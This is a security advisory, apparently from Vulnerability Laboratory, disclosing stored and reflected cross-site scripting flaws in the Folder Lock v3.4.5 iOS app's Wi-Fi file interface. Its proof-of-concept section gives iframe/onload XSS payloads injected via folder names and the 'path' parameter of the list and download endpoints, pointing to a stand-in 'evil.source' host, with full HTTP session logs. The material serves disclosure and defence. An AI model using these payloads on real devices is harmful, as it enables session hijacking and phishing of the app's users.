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## https://sploitus.com/exploit?id=PACKETSTORM:157304
Document Title:  
===============  
Folder Lock v3.4.5 iOS - Multiple Web Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2210  
  
  
Release Date:  
=============  
2020-04-20  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2210  
  
  
Common Vulnerability Scoring System:  
====================================  
4.2  
  
  
Vulnerability Class:  
====================  
Multiple  
  
  
Current Estimated Price:  
========================  
500€ - 1.000€  
  
  
Product & Service Introduction:  
===============================  
Folder Lock lets you password-protect your personal files, photos,  
videos, documents, contacts, wallet cards, notes and  
audio recordings in your iPhone. Apart from being a perfect data  
security app, Folder Lock is a perfect WiFi manager  
app too, as you can transfer files from your iPhone to PC, or vice  
versa, wireless via Folder Lock. Its WiFi Music Manager  
feature allows you the options of audio import, music import, song  
import and mp3 import without using iTunes.  
  
(Copy of the Homepage:  
https://apps.apple.com/us/app/folder-lock/id372925917 )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple web  
vulnerabilities in the official Folder Lock v3.4.5 mobile ios application.  
  
  
Affected Product(s):  
====================  
NewSoftwares.net  
Product: Folder Lock v3.4.5 - Apple iOS Mobile Web Application  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2020-04-20: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
No authentication (guest)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
1.1  
Multiple persistent cross site scripting vulnerability has been  
discovered in the official Folder Lock v3.4.5 mobile ios application.  
The vulnerability allows remote attackers to inject own malicious script  
codes with persistent attack vector to compromise browser to  
web-application requests from the application-side.  
  
The persistent input validation vulnerability is located in the `create`  
module with the `Create Folder` function. Remote attackers  
are able to inject own malicious persistent script codes as path or  
foldername. After the inject the code executes persistent from the  
application-side. The request method to inject is POST and the attack  
vector is located on the application-side. The injection point  
is the create folder function and the execution point occurs with any  
path/file index dir listing on preview.  
  
Successful exploitation of the vulnerability results in session  
hijacking, persistent phishing attacks, persistent external redirects  
to malicious source and persistent manipulation of affected application  
modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Function(s):  
[+] Create Folder  
  
Vulnerable Module(s):  
[+] path  
  
  
  
1.2  
Multiple non-persistent cross site web vulnerabilities has been  
discovered in the official Folder Lock v3.4.5 mobile ios application.  
The vulnerability allows remote attackers to inject own malicious script  
codes with non-persistent attack vector to compromise browser  
to web-application requests from the client-side.  
  
The non-persistent cross site scripting vulnerabilities are located in  
the `path` parameter of the `list` and `download` module.  
Remote attackers are able to inject own malicious script code to  
client-side requests with non-persistent attack vector.  
The request method to inject is GET and the attack vector is located on  
the client-side. The injection point is the vulnerable  
`path` parameter and the execution occurs in the not sanitized error  
exception output message.  
  
Successful exploitation of the vulnerability results in session  
hijacking, non-persistent phishing attacks, non-persistent external  
redirects to malicious source and non-persistent manipulation of  
affected application modules.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] ./list  
[+] ./download  
  
Vulnerable Parameter(s):  
[+] path  
  
  
Proof of Concept (PoC):  
=======================  
1.1  
The persistent input validation web vulnerability can be exploited by  
remote attackers with wifi ui access with low user interaction.  
For security demonstration or to reproduce the security vulnerability  
follow the provided information and steps below to continue.  
  
  
PoC: Vulnerable Source  
<ol class="breadcrumb" id="path" style="cursor: pointer;"><li  
data-path="/"><a>IOS-DEVICENAME</a></li><li data-path="/Audios/">  
<a>Audios</a></li><li class="active">test"><iframe src="evil.source"  
onload="alert(document.domain)"></li></iframe></li></ol>  
  
  
--- PoC Session Logs (POST) --- [Create Folder]  
http://localhost/create  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 89  
Origin: http://localhost  
Connection: keep-alive  
Referer: http://localhost/  
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411  
path=/Audios/test"><iframe src=evil.source onload=alert(document.domain)>  
-  
POST: HTTP/1.1 200 OK  
Cache-Control: no-cache  
Content-Length: 2  
Content-Type: application/json  
Connection: Close  
Server: GCDWebUploader  
-  
http://localhost/evil.source  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer: http://localhost/  
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411  
Upgrade-Insecure-Requests: 1  
-  
GET: HTTP/1.1 200 OK  
Server: GCDWebUploader  
Connection: Close  
  
  
Reference(s):  
http://localhost/create  
  
  
  
1.2  
The non-persistent cross site web vulnerabilities can be exploited by  
remote attackers with wifi ui access with low user interaction.  
For security demonstration or to reproduce the security vulnerability  
follow the provided information and steps below to continue.  
  
  
PoC: Vulnerable Source  
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>HTTP  
Error 404</title></head><body><h1>  
HTTP Error 404: <iframe src=evil.source onload=alert(document.domain)>  
does not exist</h1><h3></h3></body></html>  
  
  
--- PoC Session Logs (GET) --- [List Error Exception]  
http://localhost/list?path=>"<iframe src=evil.source  
onload=alert(document.domain)>  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411  
-  
GET: HTTP/1.1 200 OK  
Content-Length: 237  
Content-Type: text/html; charset=utf-8  
Connection: Close  
Server: GCDWebUploader  
-  
http://localhost/evil.source  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer:  
http://localhost/list?path=%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E  
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411  
-  
GET: HTTP/1.1 200 OK  
Server: GCDWebUploader  
Connection: Close  
Date: Tue, 14 Apr 2020 17:53:23 GMT  
  
--- PoC Session Logs (GET) --- [Download Error Exception]  
http://localhost/download?path=>"<iframe src=evil.source  
onload=alert(document.domain)>  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411  
-  
GET: HTTP/1.1 200 OK  
Content-Length: 237  
Content-Type: text/html; charset=utf-8  
Connection: Close  
Server: GCDWebUploader  
-  
http://localhost/evil.source  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)  
Gecko/20100101 Firefox/75.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Referer:  
http://localhost/download?path=%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E  
Cookie: _ga=GA1.4.376521534.1586884411; _gid=GA1.4.1374601525.1586884411  
-  
GET: HTTP/1.1 200 OK  
Server: GCDWebUploader  
Connection: Close  
  
References:  
http://localhost/list?path=  
http://localhost/download?path=  
  
  
Security Risk:  
==============  
1.1  
The security risk of the persistent validation web vulnerabilities in  
creat folder function is estimated as medium.  
  
1.2  
The security risk of the client-side cross site scripting web  
vulnerabilities in the path parameter is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab -  
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
Benjamin Kunz Mejri -  
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.  
  
  
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=========================  
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